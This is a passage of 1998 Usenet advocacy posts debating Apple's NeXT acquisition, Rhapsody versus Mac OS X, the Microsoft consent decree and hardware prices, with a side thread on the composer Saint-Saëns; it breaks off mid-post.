From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Message-ID: <joe.ragosta-2206981614580001@wil70.dol.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net> <6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net> <6mdnhk$tie$1@nnrp1.dejanews.com> <358A79EB.8C8776DC@nstar.net> <6mk8e7$qr1$2@ironhorse.plsys.co.uk> <6mm92q$tnb4@onews.collins.rockwell.com>
In article <6mm92q$tnb4@onews.collins.rockwell.com>,
embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
Either Carbon Apps will stick out as feature poor incompatible inconsistent
> crappy Apps or Yellow Box will have been castrated. Which way will it be ?
It doesn't follow. Why can't both a fully functional Yellow Box and Carbon
exist?
[snip]
>
> It seems that every NeXT technology except Mach is deprecated, out right
> dropped, or irrelevant.
Nonsense. The entire YB environment remains in Mac OS X. BSD compatibility
remains.
> Apple already had Mach and could have purchased it again for a lot less than
> 400M.
But not Web Objects, OpenStep, and so on.
> Apple users/developers do not want BSD UNIX.
Perhaps, perhaps not. The correct question is, "will BSD users want
Rhapsody?" (where "Rhapsody" refers to both Rhapsody and Mac OS X)
> Apple users/developers do not want YellowBox.
Not necessarily true. Some will, some won't. But again, the question is,
"do OpenStep developers want Rhapsody?". AND, "will new developers
consider YB powerful enough to use it?"
>
> People keep saying MacOS-X is Rhapsody 2.0. It is not. It is Copland 5
Why not? It has everything that Rhapsody has except Intel support. Just
why do you think it's not Rhapsody 2.0?
> years late minus some features. Exactly what powerful Rhapsody technology is
> surviving in MacOS-X ? Now subtract technology that Apple users/developers
Everything except Intel support.
> demonstrably do not want and what is left ?
>
> The argument is made that Apple acquired great people with NeXT. I do not
> dispute that, but was it worth 400M ? Apple could have offered a 1M signing
> bonus to 200 people and had the cream of Silicon Valley for half the cost.
>
> Please convince me that I am wrong. I am getting very depressed.
Start by reading up on what Mac OS X is. It's Rhapsody PLUS Carbon Minus
Intel compatibility.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 20:20:10 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6otf3q.24u.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <358EB8A6.FD78CBF5@chem.uit.no>
On Mon, 22 Jun 1998 22:03:50 +0200, Jostein Johansen <jostein@chem.uit.no> wrote:
>At least you can throw in a 3DFx card in your lowcost PC if you get sick
>of the crappy 3D-preformance from vendors like ATI. If you look at some
If you need 3dFX, then the iMac is not for you. And if you still want
a Mac, you can get one with PCI slots and use a standard PC 3dFX card
with it.
And for the same price as the 3dFX card, you can buy a PlayStation.
I would think that the same people who buy iMacs might be more inclined
to buy a PS then to add a card to the machine.
--
sal@panix.com
Salvatore Denaro
From: ayufbaykuh@bayust.cowm
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: sum it up: the Macintosh Faithful
Date: Mon, 22 Jun 1998 13:47:19 -0700
Message-ID: <ayufbaykuh-2206981347190001@dynamic26.pm04.mv.best.com>
References: <358E781B.EDBC8A6D@bcomp.com>
\H;P~1w0O+wJq\]fy=yWGLWBIsnq-L7<(<bD6#1Wwuz(fd2tH)r8l'q|U
In article <358E781B.EDBC8A6D@bcomp.com>, Alan Frabutt
<afrabutt@bcomp.com> wrote:
>Reading the postings from the Macintosh Faithful brought something to
>mind. I once heard a radio show describing the work of brilliant
>composer Camille San-soun (sp?)... talking of his mindset:
The name is Charles Camille Saint-Saëns.
>"...changing, over time, from radical revolutionary to crusty
>reactionary..."
>
>Kind of says alot, don't it?
Taken out of context, the quote 'kind of' says nothing.
Were you attempting to make a point?
--
"When future historians write about us, if they base their
conclusions on whatever material goods survive from Present-Day
America, we will undoubtedly stand alone among nations and be known
forevermore as "THOSE WHO CHOSE CHEESE." - Frank Zappa
From: RDrake2@ix.netcom.com (Ron Drake)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: sum it up: the Macintosh Faithful
Date: Mon, 22 Jun 1998 13:18:04 -0700
Organization: Jawara Productions
Message-ID: <RDrake2-2206981318040001@drake2.apple.com>
References: <358E781B.EDBC8A6D@bcomp.com> <lkrupp-2206981112070001@cas-1-093.apci.net>
In article <lkrupp-2206981112070001@cas-1-093.apci.net>, lkrupp@apci.net
(Lawrence A. Krupp) wrote:
> In article <358E781B.EDBC8A6D@bcomp.com>, Alan Frabutt
> <afrabutt@bcomp.com> wrote:
>
> > Reading the postings from the Macintosh Faithful brought something to
> > mind. I once heard a radio show describing the work of brilliant
> > composer Camille San-soun (sp?)... talking of his mindset:
> >
> > "...changing, over time, from radical revolutionary to crusty
> > reactionary..."
> >
> > Kind of says alot, don't it?
> >
> > Regards,
> > Alan Frabutt
>
> Your point is well taken. However, where are the "radical revolutionaries"
> today in the personal computer industry? Certainly not at Microsoft or
> Intel. Not at Apple either. The closest thing we have to the revolutionary
> ideas of the late seventies (when Bill Gates was coding a BASIC
> interpreter and Steve Wozniak was designing the Disk II controller card)
> is probably the Java movement and the Internet, and that ain't saying
> much.
>
> The Wintel era will fade also, and probably sooner than some people think.
> Meanwhile I'll stick with the Macintosh for the time being, crusty
> reactionary that I am.
>
> By the way, it's "Saint-Sa
"Saint-Saens"
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: sum it up: the Macintosh Faithful
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 22 Jun 1998 20:57:55 GMT
Organization: San Diego State University
Message-ID: <6mmggj$jvs$1@hole.sdsu.edu>
References: <358E781B.EDBC8A6D@bcomp.com>
Alan Frabutt (afrabutt@bcomp.com) wrote:
: Reading the postings from the Macintosh Faithful brought something to
: mind. I once heard a radio show describing the work of brilliant
: composer Camille San-soun (sp?)... talking of his mindset:
: "...changing, over time, from radical revolutionary to crusty
: reactionary..."
Was Saint-Saens ever a "radical revolutionary"? I happen to like
his music, especially his violin concerti and of course "Carnival
of the Animals" and "Danse Macabre", but on the whole Saen-Saens
impresses me, I don't know, Tchaikovsky Lite.
-tomlinson
--
Ernest S. Tomlinson
Vis apud te erit...aeterne.
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: sum it up: the Macintosh Faithful
Date: 22 Jun 1998 21:14:15 GMT
Organization: San Diego State University
Message-ID: <6mmhf7$k04$1@hole.sdsu.edu>
References: <358E781B.EDBC8A6D@bcomp.com> <6mmggj$jvs$1@hole.sdsu.edu>
tomlinson (etomlins@rohan.sdsu.edu) wrote:
: Was Saint-Saens ever a "radical revolutionary"? I happen to like
: his music, especially his violin concerti and of course "Carnival
: of the Animals" and "Danse Macabre", but on the whole Saen-Saens
: impresses me, I don't know, Tchaikovsky Lite.
Oops. "Saen-Saens" (I was dozing off there)? Read "on the whole,
Saint-Saens impresses me _as_ Tchaikovsky Lite."
-tomlinson
--
Ernest S. Tomlinson
Vis apud te erit...aeterne.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 21:12:07 GMT
Organization: Digital Fix Development
Message-ID: <6mmhb7$eos$1@news.digifix.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mmd18$d2e@newsb.netnews.att.com>
In-Reply-To: <6mmd18$d2e@newsb.netnews.att.com>
On 06/22/98, gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>Michelle L. Buck <buck.erik@mcleod.net> wrote:
<snip>
>>WebObjects: Small potatoes. Apple customers don't get it.
>
> When it runs on an Apple OS, Apple customers will get it.
> Meanwhile, when someone buys WebObjects right now, they are
> becoming an Apple customer, a positive thing.
>
It does run on an Apple OS now.. OpenStep.
Apple Customers aren't the market that WebObjects is trying to
get.. The market that WebObjects is aimed at is the market that hates
Apple.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box for Win, DR2 - anybody has it?
Date: 22 Jun 1998 21:18:25 GMT
Organization: P & L Systems
Message-ID: <6mmhn1$qr1$3@ironhorse.plsys.co.uk>
References: <6lmtuj$nmr$1@cleavage.canuck.com> <joe.ragosta-1106980950040001@wil62.dol.net>
<6lp6ui$q6q$1@cleavage.canuck.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: alex@gestalt.com
In <6lp6ui$q6q$1@cleavage.canuck.com> "Alex Molochnikov" wrote:
> Disclosing details _about_ DR2 would indeed be a violation of NDA. However,
> my question was (and still is) if anybody merely received it. The existence
> of DR2 has been acknowledged by Apple. When Malcolm Crawford was asked a
> similar question a few days ago on the same group, he responded in a
> meaningful way, without trying to play a cop (alas, that was about DR2 for
> Rhapsody, not YB/NT).
>
Did I? Heavens, I must be posting in my sleep, I don't remember! 8-)
But, more seriously, I wouldn't hold me up as an example -- on some issues I
have played cop, and on others I have sailed very close to the limits of the
NDA (although I do try to check first if there's something particularly near
to the bone).
I suspect the easiest way to determine when YB/BT has shipped is to lurk on
rhapsody-dev and wait for the first post starting "So YB arrived this
morning, and I was installing it on my..." :-)
Best wishes,
mmalc.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 22 Jun 1998 21:53:29 GMT
Organization: University of California at San Diego
Message-ID: <slrn6otkip.257.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com> <6lkna9$bsi$1@nnrp1.dejanews.com> <35906d0c.13309108@news.supernews.com> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.com>
On Sun, 21 Jun 1998 07:21:44 GMT, T. Max Devlin <mdevlin@eltrax.com> wrote:
:>Are you suggesting that Microsoft meant the "develop integrated products"
:>clause to apply only to combining newly developed separate products?
:>(Microsoft was not known for developing "new" products back then, it is still
:>argued today)
:
:I am arguing that Microsoft meant "here's a loophole we'll be able to
:exploit at our convenience because it is so trivial to re-interpret".
:
:Based on their actions, I have no reason whatsoever to believe that they
:negotiated the consent decree, or any other legal document, in good
:faith. The word 'develop' means "to develop", not "to combine".
In any case I still don't think this matters.
The big question is whether an "integrated" product must necessarily be
"inseparable". I think that it is clearly not so, and Microsoft Office is
evidence in favor of this interpretation. Pieces are "integrated", working
well together, yet they have been designed to be separable and sold separately.
In the whole context of the agreement, and the legal and economic rationale
behind it---outlawing constraining licensing agreements bundling monpoly
product with others---this is a natural and obvious interpretation.
If you take the interpretation that "integrated" may in fact include
"inseparable" you reach the conclusion that the consent decree is nearly
totally meaningless on account of this ''loophole'' as this phrase
completely invalidates all force by allowing everything the decree was
intended to prohibit.
Apparently Microsoft has the astonishing chutzpah to argue for this
preposterous interpretation and then whine about government intervention.
A more law abiding company would have intentionally crafted its software to
be clearly separable in order to stay well within the reasonable bounds of
the consent decree and anti-trust concerns in general, and yet still provide
consumer value.
Ironically, it is the COM technology which Microsoft promotes which makes
this clear separation between browser and basic operating system far more
technologically feasible and clean---instead they are using this very same
technology as a smokescreen to argue the reverse.
No wonder they opposed a technologically qualified special master---they were
afraid somebody with a brain would see through the deception.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: Mon, 22 Jun 1998 12:42:17 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-2206981242170001@sdn-ar-001casbarp147.dialsprint.net>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com> <slrn6ojoni.plc.sal@panix3.panix.com> <1daul49.wxuhrx1wimy47N@pppsl844.chicagonet.net> <slrn6ol1ff.7ec.sal@panix3.panix.com> <1daz78h.1k5p4nwk30efhN@pppsl564.chicagonet.net> <slrn6ordpq.m4l.sal@panix3.panix.com> <01bd9df9$cdb439c0$c07498cf@edwint.rauland.com>
> > I've been reading all the posts he has made (that were xposted to the
> next
> > newsgroups) since last year. At no time did I see any posts that fit
> > your description.
>
> That's the problem. Not all of his messages were cross posted to NeXT
> news groups.
Hey guys, how about we delete the next group from this discusson, I am
sure they are sick of this. I am posting this to next so sal sees it,
from then on I will delete next. I believe everyone has basically said
what they want to say concerning this topic.
--
So many pedestrians, so little time.
From: boracay@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Academic ratings applied to computer field over last 10 to 20 years
Date: Mon, 22 Jun 1998 20:39:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mmfdv$5l4$1@nnrp1.dejanews.com>
I have for the past 12 odd years worked in the computer field as a
professional, and before that as a student and hobbyist for another 8 years
or so before that. In the last 20 years I have seen a great deal of change,
some expected, some better than expected, and some really sub par. I break it
into four areas and give a grade and reasons for the grade below.
Here are my grades:
COMPUTER COMMUNICATIONS: B+
OPERATING SYSTEMS: C
PROGRAMMING: D
HARDWARE: A
COMPUTER COMMUNICATIONS: B+
I remember ten years ago playing with bitnet and other network functions in
sending files, emails and so on around. In some ways it isn’t surprising what
has occurred since then with web browsers. About the only thing stopping an A
grade is the speed of the networks. It was obvious long ago that optical fiber
was needed everywhere, only politics have slowed this.
OPERATING SYSTEMS: C While the GUI went main stream some ten years ago,
little but communications and memory capabilities have expanded since then
and these are graded elsewhere. Sure there are fluffs added, but nothing so
great. I don’t really find Windows a great product, either NT or WIN 95. As I
look at all the people flocking to be MSCE, I feel how stupid since if it was
better designed these would not be needed. Sorry but a very average grade
here.
PROGRAMMING: D Long ago it was obvious for the need to walk up to a computer
and spit out robust, easy to use, polished, functional applications with as
little effort as possible. I feel that in fact it is harder to do this today
than it ever has been. The only thing saving an F is that JAVA is finally
trying to be platform independent, although it is kinda difficult and quirky.
Nobody seems to want to make computer more programmable. Doesn’t somebody
understand that easy to use and easy to program are desirable?
HARDWARE: A Sure I predicted better, faster hardware long ago. But it is
pretty amazing how much RAM, disk space, CPU speed, etc which can be placed
on my desk for the price. Prices have stayed low and go lower. It amazing, an
A for sure.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: sum it up: the Macintosh Faithful
Date: 22 Jun 1998 22:47:21 GMT
Organization: I don't think so
Message-ID: <slrn6oto0b.cf.jason@jhste1.dyn.ml.org>
References: <358E781B.EDBC8A6D@bcomp.com> <6mmggj$jvs$1@hole.sdsu.edu>
tomlinson posted the following to comp.sys.mac.advocacy:
>: Reading the postings from the Macintosh Faithful brought something to
>: mind. I once heard a radio show describing the work of brilliant
>: composer Camille San-soun (sp?)... talking of his mindset:
>: "...changing, over time, from radical revolutionary to crusty
>: reactionary..."
>Was Saint-Saens ever a "radical revolutionary"? I happen to like
>his music, especially his violin concerti and of course "Carnival
>of the Animals" and "Danse Macabre", but on the whole Saen-Saens
>impresses me, I don't know, Tchaikovsky Lite.
FWIW, Richard Wagner had this to say about him:
[following a tribute to his amazing score reading...] "I afterwards
learned that this stupendous receptivity for all the technical material of
a work was not accompanied by any corresponding intensity of productive
power; so that when he tried to set up as a composer I quite lost sight
of him in the course of time."
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: 22 Jun 1998 22:57:48 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd9e2f$f8cbcfc0$c07498cf@edwint.rauland.com>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com> <slrn6ojoni.plc.sal@panix3.panix.com> <1daul49.wxuhrx1wimy47N@pppsl844.chicagonet.net> <slrn6ol1ff.7ec.sal@panix3.panix.com> <1daz78h.1k5p4nwk30efhN@pppsl564.chicagonet.net> <slrn6ordpq.m4l.sal@panix3.panix.com> <01bd9df9$cdb439c0$c07498cf@edwint.rauland.com> <macghod-2206981242170001@sdn-ar-001casbarp147.dialsprint.net>
Steve Sullivan <macghod@concentric.net> wrote in article
<macghod-2206981242170001@sdn-ar-001casbarp147.dialsprint.net>...
>
> > > I've been reading all the posts he has made (that were xposted to the
> > next
> > > newsgroups) since last year. At no time did I see any posts that fit
> > > your description.
> >
> > That's the problem. Not all of his messages were cross posted to NeXT
> > news groups.
>
>
> Hey guys, how about we delete the next group from this discusson, I am
> sure they are sick of this. I am posting this to next so sal sees it,
> from then on I will delete next. I believe everyone has basically said
> what they want to say concerning this topic.
I think I've said enough about this. ;)
> --
> So many pedestrians, so little time.
>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: sum it up: the Macintosh Faithful
Message-ID: <edewEuz6xx.G3B@netcom.com>
Sender: edew@netcom18.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <358E781B.EDBC8A6D@bcomp.com>
Date: Mon, 22 Jun 1998 23:08:21 GMT
In article <358E781B.EDBC8A6D@bcomp.com> Alan Frabutt <afrabutt@bcomp.com> writes:
>Reading the postings from the Macintosh Faithful brought something to
>mind. I once heard a radio show describing the work of brilliant
>composer Camille San-soun (sp?)... talking of his mindset:
Camille Saint-Saens
Ok composer.
>
>"...changing, over time, from radical revolutionary to crusty
>reactionary..."
>
>Kind of says alot, don't it?
>
>Regards,
>Alan Frabutt
EDEW
From: billa@uiuc.edu (Bill Altenberger)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Mon, 22 Jun 1998 19:13:08 -0500
Organization: Just me
Message-ID: <billa-2206981913080001@archbald-96.slip.uiuc.edu>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com>
In article <6mmfdv$5l4$1@nnrp1.dejanews.com>, boracay@hotmail.com wrote:
> I have for the past 12 odd years worked in the computer field as a
> professional, and before that as a student and hobbyist for another 8 years
> or so before that. In the last 20 years I have seen a great deal of change,
> some expected, some better than expected, and some really sub par. I break it
> into four areas and give a grade and reasons for the grade below.
>
> Here are my grades:
>
> COMPUTER COMMUNICATIONS: B+
> OPERATING SYSTEMS: C
> PROGRAMMING: D
> HARDWARE: A
>
>
> COMPUTER COMMUNICATIONS: B+
> I remember ten years ago playing with bitnet and other network functions in
> sending files, emails and so on around. In some ways it isn’t surprising what
> has occurred since then with web browsers. About the only thing stopping an A
> grade is the speed of the networks. It was obvious long ago that optical fiber
> was needed everywhere, only politics have slowed this.
An astute observation, How can you give this catagory a B+. I'd have to
give connections to the home an F-. Depending upon where you work,
networking can range from A to F.
>
>
> OPERATING SYSTEMS: C While the GUI went main stream some ten years ago,
> little but communications and memory capabilities have expanded since then
> and these are graded elsewhere. Sure there are fluffs added, but nothing so
> great. I don’t really find Windows a great product, either NT or WIN 95. As I
> look at all the people flocking to be MSCE, I feel how stupid since if it was
> better designed these would not be needed. Sorry but a very average grade
> here.
If my memory serves me correct, Apple brought the GUI to the computing
masses in a usable form. If it wasn't for Apple, you would be spemding
50K a year for a GUI.
>
>
> PROGRAMMING: D Long ago it was obvious for the need to walk up to a computer
> and spit out robust, easy to use, polished, functional applications with as
> little effort as possible. I feel that in fact it is harder to do this today
> than it ever has been. The only thing saving an F is that JAVA is finally
> trying to be platform independent, although it is kinda difficult and quirky.
> Nobody seems to want to make computer more programmable. Doesn’t somebody
> understand that easy to use and easy to program are desirable?
Apple developers do. Enough said on this topic.
>
>
> HARDWARE: A Sure I predicted better, faster hardware long ago. But it is
> pretty amazing how much RAM, disk space, CPU speed, etc which can be placed
> on my desk for the price. Prices have stayed low and go lower. It amazing, an
> A for sure.
Put a server together with the cheapest stuff around and come back to me
on this issue. You get what what you pay for....
Bill
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Mon, 22 Jun 1998 17:14:25 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2206981714250001@dante.eng.uci.edu>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu> <slrn6otdot.24u.sal@panix3.panix.com>
In article <slrn6otdot.24u.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>On Mon, 22 Jun 1998 10:28:29 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>>Could Apple have done OS X by itself? No.
>
>AU/X ring a bell? If Apple had more of a clue, they would have built
>AU/X for the PowerMac and hosted a 68k virtual Mac on it. AU/X was the
>more Mac-like Unix of the time.
But AU/X never tried to do all of the things that MacOS X promises to do.
It filled a role but never aspired to go on to greater things with any
credibility.
>>>Display Postscript: Abandoned
>
>...by Adobe.
Doesn't matter. Apple made other plans and needs to justify those anyway.
>>>Remote Display: Abandoned
>>A shame. Apple needs to redeem themselves here.
>
>Yes. Perhaps one of the "Six-color-Vorlons" at infinite loop could give
>us some indication that Apple knows that we want this.
I think they know it. I think something less hackish and more WinFrame-ish
needs to be done anyway...
>>>NeXTstep GUI: Abandoned
>
>NSInterfaceStyle? Appearence Manger? BTW, the "feel" of OpenStep is
>still in Rhapsody, even thogh the look is gone.
Appearance Manager.
>>>Consistent Applications: Same fate as YellowBox/impossible along side
>>>Carbon
>
>I don't see this. If OpenStep Apps and Win32 Apps can work well on the same
>system, why can't Carbon and YB Apps? Assuming that AppleScript will provide
>a bridge to Services from Carbon (and it might, FAIK) then they should work
>well together.
I think we need to think of Carbon in *exactly* the same way that we think
of Win32 and then things make sense. Thinking of Carbon as part of
Rhapsody (and, by association a peer of YB) doesn't work.
So we might end up with two things happening in MacOS X: YB/Mach and YB/Carbon.
>>>Intel Support: Abandoned
>>It would seem that Intel is also abandoning Intel support.
>
>They have two new IA32 CPUs in the pipeline. They also plan to ship one
*after*
>merced ships. x86 will be with us (and the largest % of the market) until at
>least 2006. Who knows how long AMD and Cyrix will keep the x86 fires burning?
But will PPC be blowing the IA32 chips out of the water
price/performance-wise by then? G4 is supposed to be non-trivial, unlike
G3.
>>Bullshit. We have a Windows PC here an I was asked how to grab an HTML
>>file from the browser and edit it. It was about a 10 step process on the
>>PC. It's a 2 step process on the Mac and a one-step process on mine. The
>
>It is a one-step process on my NT box. I pick "edit" from netscape's menu.
>It would also be a one step in word. Word lets me open URLs for editing.
Netscape and Word make atrocious editors. Besides, the version of Netscape
that we had available didn't have copy/paste options in the HTML viewer.
Not sure why. It should be a one or two step process from the viewer of
_my_ choice to the editor of _my_ choice. I don't subscribe to MS serving
all of my needs - because they don't. (Bob is wicked pissed-off at Office
98 right now...)
I should mention that this was code from a site that we didn't have write
access to...
-Bob Cassidy
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 23 Jun 1998 00:21:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mmse2$m0u$1@nnrp1.dejanews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.co <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com>
In article <petrichEuyx44.Lx8@netcom.com>,
petrich@netcom.com (Loren Petrich) wrote:
<snip>
> >I appologize, I misunderstood your argument. I am still a little fuzzy on
> >your position. Are you saying "the Internet became easy to access (WWW, etc)
> >by itself and any credit Win95 received is totally bogus"?
>
> Imagine that M$ had never existed. I'm sure that some other
> company would have taken its place. This is because the 1970's and 1980's
> had seen several competing microcomputer architectures.
>
We do not have to imagine. IBM's OS/2 Warp was pushed as the "on-ramp to the
internet". If it had been priced a little lower advertised a little better,
who knows...
This falls under the category of "woulda, coulda, shoulda". The point was
(and is) that Windows95's bloatware features got the attention of people
who wanted to get on the internet and/or setup small office LANs. We can
argue about carts and horses, but Microsoft was obviously responding to
market (customer and competitor) forces.
> >Because, it is important that we do not falsely feel purged of our sins
> >through the crucifiction of Microsoft. What is the plan AFTER
Microsoft is
> >destroyed? I do not agree with your optimistic view of our industry. Things
> >could get worse, much worse.
>
> How so?
>
> I suspect that the result would be a veritable industry of Win32
> support for various PeeCee Unixes and Unix-like OSes.
>
Why do you think PeeCee Unixes will be any more homogeneous than other Unixes?
What will keep the PC hardware manufacturers from diverging?
Here is just one answer to your question of "how so?"...
OEMs have a history of trying to "improve" their products by designing
propriatory, non-standard boards. The need to be compatible with the next
release of Windows is what has kept them at bay. If you get rid of this,
I have little doubt that OEMs will contractually tie themselves to "their" OS
producer and immeadiately put everything on the mother-board to reduce cost.
The fragmentation of the PC market will be inevidable after that.
History is full of well-meaning revolutions that result in extreme chaos,
misery and pain. Microsoft is a fairly benevolent dictator (Most upstarts
receive generous bribes to go away), but a dictator is a dictator and it is
human nature to fight them. Just be sure you will be happy with what you
are asking for.
Provoking Thought,
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 23 Jun 1998 00:32:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mmt35$msv$1@nnrp1.dejanews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com> <6lkna9$bsi$1@nnrp1.dejanews.com> <35906d0c.13309108@news.supernews.com> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <atlauren-2206981155330001@jungleland.acs.uci.edu>
In article <atlauren-2206981155330001@jungleland.acs.uci.edu>,
atlauren@uci.edu (Andrew Laurence) wrote:
>
> In article <6mkoqh$8lp$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
>
> >The other possibility is to use mis-direction. Find them guilty of
> >participating in an illegal discussions with Netscape and punish them by
> >forcing a separation of products or groups. This falls into the category
> >of "any guilty verdict will do".
>
> Sometimes it seems that is the goal. (In general, not specific to the MS
case.)
>
> In this society, laws and legislation are often created in order to stop
> one person/party/company/etc from being an asshole. When enough that
> <individual> begins to piss off enough people, and enough people start
